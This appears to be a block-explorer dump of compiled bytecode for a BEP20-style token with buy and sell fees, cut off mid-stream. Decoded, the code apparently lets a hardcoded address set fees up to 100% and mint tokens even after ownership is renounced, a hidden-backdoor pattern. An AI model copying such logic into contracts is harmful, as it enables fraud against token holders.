ffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca6919061297d565b60405180910390a35b5050611e17565b611d2a8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0e919061297d565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea157600080fd5b611ef382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612028919061297d565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90612c66565b60405180910390fd5b600061217d606461216f600d54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000612194828461268990919063ffffffff16565b90506121e883600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227d81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161231d919061297d565b60405180910390a360008211156124295761238082600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612420919061297d565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361249d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249490612e3c565b60405180910390fd5b6124b2816002546126e290919063ffffffff16565b60028190555061250a81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125ab919061297d565b60405180910390a35050565b60008083036125c9576000905061262b565b600082846125d79190612e8b565b90508284826125e69190612efc565b14612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90612f79565b60405180910390fd5b809150505b92915050565b6000808211612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c90612fe5565b60405180910390fd5b81836126819190612efc565b905092915050565b6000828211156126ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c590613051565b60405180910390fd5b81836126da9190613071565b905092915050565b60008082846126f191906130a5565b905083811015612736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272d90613125565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561277a57808201518184015260208101905061275f565b60008484015250505050565b6000601f19601f8301169050919050565b60006127a282612740565b6127ac818561274b565b93506127bc81856020860161275c565b6127c581612786565b840191505092915050565b600060208201905081810360008301526127ea8184612797565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612822826127f7565b9050919050565b61283281612817565b811461283d57600080fd5b50565b60008135905061284f81612829565b92915050565b6000819050919050565b61286881612855565b811461287357600080fd5b50565b6000813590506128858161285f565b92915050565b600080604083850312156128a2576128a16127f2565b5b60006128b085828601612840565b92505060206128c185828601612876565b9150509250929050565b60008115159050919050565b6128e0816128cb565b82525050565b60006020820190506128fb60008301846128d7565b92915050565b60008060408385031215612918576129176127f2565b5b600061292685828601612876565b925050602061293785828601612876565b9150509250929050565b600060208284031215612957576129566127f2565b5b600061296584828501612876565b91505092915050565b61297781612855565b82525050565b6000602082019050612992600083018461296e565b92915050565b6000806000606084860312156129b1576129b06127f2565b5b60006129bf86828701612840565b93505060206129d086828701612840565b92505060406129e186828701612876565b9150509250925092565b600060ff82169050919050565b612a01816129eb565b82525050565b6000602082019050612a1c60008301846129f8565b92915050565b600060208284031215612a3857612a376127f2565b5b6000612a4684828501612840565b91505092915050565b612a5881612817565b82525050565b6000602082019050612a736000830184612a4f565b92915050565b60008060408385031215612a9057612a8f6127f2565b5b6000612a9e85828601612840565b9250506020612aaf85828601612840565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b0057607f821691505b602082108103612b1357612b12612ab9565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000612b4f601a8361274b565b9150612b5a82612b19565b602082019050919050565b60006020820190508181036000830152612b7e81612b42565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000612bbb601b8361274b565b9150612bc682612b85565b602082019050919050565b60006020820190508181036000830152612bea81612bae565b9050919050565b6000604082019050612c06600083018561296e565b612c13602083018461296e565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612c5060148361274b565b9150612c5b82612c1a565b602082019050919050565b60006020820190508181036000830152612c7f81612c43565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000612cbc60168361274b565b9150612cc782612c86565b602082019050919050565b60006020820190508181036000830152612ceb81612caf565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000612d2860198361274b565b9150612d3382612cf2565b602082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000612dba60238361274b565b9150612dc582612d5e565b604082019050919050565b60006020820190508181036000830152612de981612dad565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612e26601f8361274b565b9150612e3182612df0565b602082019050919050565b60006020820190508181036000830152612e5581612e19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e9682612855565b9150612ea183612855565b9250828202612eaf81612855565b91508282048414831517612ec657612ec5612e5c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f0782612855565b9150612f1283612855565b925082612f2257612f21612ecd565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000612f6360178361274b565b9150612f6e82612f2d565b602082019050919050565b60006020820190508181036000830152612f9281612f56565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000612fcf60108361274b565b9150612fda82612f99565b602082019050919050565b60006020820190508181036000830152612ffe81612fc2565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b600061303b60148361274b565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c82612855565b915061308783612855565b925082820390508181111561309f5761309e612e5c565b5b92915050565b60006130b082612855565b91506130bb83612855565b92508282019050808211156130d3576130d2612e5c565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b600061310f60118361274b565b915061311a826130d9565b602082019050919050565b6000602082019050818103600083015261313e81613102565b905091905056fea26469706673582212208148a809f2fe007aad1da683fdf95b7ba1ec0ba9d27c8c38b4e13d0a1a11ef1464736f6c634300081200330000000000000000000000004be1776b8a4855181ba78b063b67359698995d50

Deployed Bytecode

0x6080604052600436106101c25760003560e01c806370a08231116100f757806396c5e1ab11610095578063d21c8d5511610064578063d21c8d5514610675578063dd62ed3e146106a0578063e2daf665146106dd578063e4849b3214610708576101c2565b806396c5e1ab146105c6578063a6f2ae3a14610603578063a9059cbb1461060d578063d0fb02031461064a576101c2565b8063891e1ee0116100d1578063891e1ee0146105085780638da5cb5b14610533578063923e51d51461055e57806395d89b411461059b576101c2565b806370a0823114610477578063715018a6146104b4578063858ced35146104cb576101c2565b80632c7ee946116101645780633ef530eb1161013e5780633ef530eb146103b957806347062402146103e45780634a0af68d1461040f57806365f6a9211461044c576101c2565b80632c7ee94614610328578063313ce56714610351578063376d567c1461037c576101c2565b806316e3b09c116101a057806316e3b09c1461025857806318160ddd1461029557806323b872dd146102c05780632b14ca56146102fd576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630b78f9c01461022f575b600080fd5b3480156101d357600080fd5b506101dc610731565b6040516101e991906127d0565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061288b565b6107bf565b60405161022691906128e6565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612901565b6108b1565b005b34801561026457600080fd5b5061027f600480360381019061027a9190612941565b610a28565b60405161028c91906128e6565b60405180910390f35b3480156102a157600080fd5b506102aa610ae1565b6040516102b7919061297d565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190612998565b610ae7565b6040516102f491906128e6565b60405180910390f35b34801561030957600080fd5b5061031261124a565b60405161031f919061297d565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612901565b611250565b005b34801561035d57600080fd5b5061036661137d565b6040516103739190612a07565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612a22565b611390565b6040516103b091906128e6565b60405180910390f35b3480156103c557600080fd5b506103ce611436565b6040516103db91906128e6565b60405180910390f35b3480156103f057600080fd5b506103f96114df565b604051610406919061297d565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190612a22565b6114e5565b60405161044391906128e6565b60405180910390f35b34801561045857600080fd5b5061046161158b565b60405161046e9190612a5e565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190612a22565b6115b1565b6040516104ab919061297d565b60405180910390f35b3480156104c057600080fd5b506104c96115c9565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190612a22565b61172e565b6040516104ff91906128e6565b60405180910390f35b34801561051457600080fd5b5061051d6117d4565b60405161052a9190612a5e565b60405180910390f35b34801561053f57600080fd5b506105486117fa565b6040516105559190612a5e565b60405180910390f35b34801561056a57600080fd5b5061058560048036038101906105809190612a22565b611820565b60405161059291906128e6565b60405180910390f35b3480156105a757600080fd5b506105b06118b8565b6040516105bd91906127d0565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190612941565b611946565b6040516105fa91906128e6565b60405180910390f35b61060b6119b5565b005b34801561061957600080fd5b50610634600480360381019061062f919061288b565b611e1a565b60405161064191906128e6565b60405180910390f35b34801561065657600080fd5b5061065f61203a565b60405161066c9190612a5e565b60405180910390f35b34801561068157600080fd5b5061068a612060565b6040516106979190612a5e565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612a79565b612086565b6040516106d4919061297d565b60405180910390f35b3480156106e957600080fd5b506106f26120ab565b6040516106ff9190612a5e565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190612941565b6120d1565b005b6000805461073e90612ae8565b80601f016020809104026020016040519081016040528092919081815260200182805461076a90612ae8565b80156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161089f919061297d565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061094c5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61095557600080fd5b6064821115610999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099090612b65565b60405180910390fd5b60648111156109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490612bd1565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610a1c929190612bf1565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ac55750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ace57600080fd5b610ad8338361242e565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6290612c66565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612cd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9090612d3e565b60405180910390fd5b6000610cc36064610cb5600d54866125b790919063ffffffff16565b61263190919063ffffffff16565b90506000610cda828561268990919063ffffffff16565b9050610d2e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e63919061297d565b60405180910390a36000821115610f6f57610ec682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f66919061297d565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561104757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561123d576110db84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051611234919061297d565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112aa57600080fd5b60648211156112ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e590612b65565b60405180910390fd5b6064811115611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990612bd1565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611371929190612bf1565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ec57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114d35750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6114dc57600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116645750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61166d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178a57600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186e57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600180546118c590612ae8565b80601f01602080910402602001604051908101604052809291908181526020018280546118f190612ae8565b801561193e5780601f106119135761010080835404028352916020019161193e565b820191906000526020600020905b81548152906001019060200180831161192157829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a257600080fd5b6119ac338361242e565b60019050919050565b600034116119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90612dd0565b60405180910390fd5b60003490506000600c541115611cb6576000611a326064611a24600c54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000611a49828461268990919063ffffffff16565b9050611abf8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ba3919061297d565b60405180910390a36000821115611caf57611c0682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca6919061297d565b60405180910390a35b5050611e17565b611d2a8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0e919061297d565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea157600080fd5b611ef382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612028919061297d565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90612c66565b60405180910390fd5b600061217d606461216f600d54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000612194828461268990919063ffffffff16565b90506121e883600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227d81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161231d919061297d565b60405180910390a360008211156124295761238082600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612420919061297d565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361249d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249490612e3c565b60405180910390fd5b6124b2816002546126e290919063ffffffff16565b60028190555061250a81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125ab919061297d565b60405180910390a35050565b60008083036125c9576000905061262b565b600082846125d79190612e8b565b90508284826125e69190612efc565b14612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90612f79565b60405180910390fd5b809150505b92915050565b6000808211612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c90612fe5565b60405180910390fd5b81836126819190612efc565b905092915050565b6000828211156126ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c590613051565b60405180910390fd5b81836126da9190613071565b905092915050565b60008082846126f191906130a5565b905083811015612736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272d90613125565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561277a57808201518184015260208101905061275f565b60008484015250505050565b6000601f19601f8301169050919050565b60006127a282612740565b6127ac818561274b565b93506127bc81856020860161275c565b6127c581612786565b840191505092915050565b600060208201905081810360008301526127ea8184612797565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612822826127f7565b9050919050565b61283281612817565b811461283d57600080fd5b50565b60008135905061284f81612829565b92915050565b6000819050919050565b61286881612855565b811461287357600080fd5b50565b6000813590506128858161285f565b92915050565b600080604083850312156128a2576128a16127f2565b5b60006128b085828601612840565b92505060206128c185828601612876565b9150509250929050565b60008115159050919050565b6128e0816128cb565b82525050565b60006020820190506128fb60008301846128d7565b92915050565b60008060408385031215612918576129176127f2565b5b600061292685828601612876565b925050602061293785828601612876565b9150509250929050565b600060208284031215612957576129566127f2565b5b600061296584828501612876565b91505092915050565b61297781612855565b82525050565b6000602082019050612992600083018461296e565b92915050565b6000806000606084860312156129b1576129b06127f2565b5b60006129bf86828701612840565b93505060206129d086828701612840565b92505060406129e186828701612876565b9150509250925092565b600060ff82169050919050565b612a01816129eb565b82525050565b6000602082019050612a1c60008301846129f8565b92915050565b600060208284031215612a3857612a376127f2565b5b6000612a4684828501612840565b91505092915050565b612a5881612817565b82525050565b6000602082019050612a736000830184612a4f565b9291505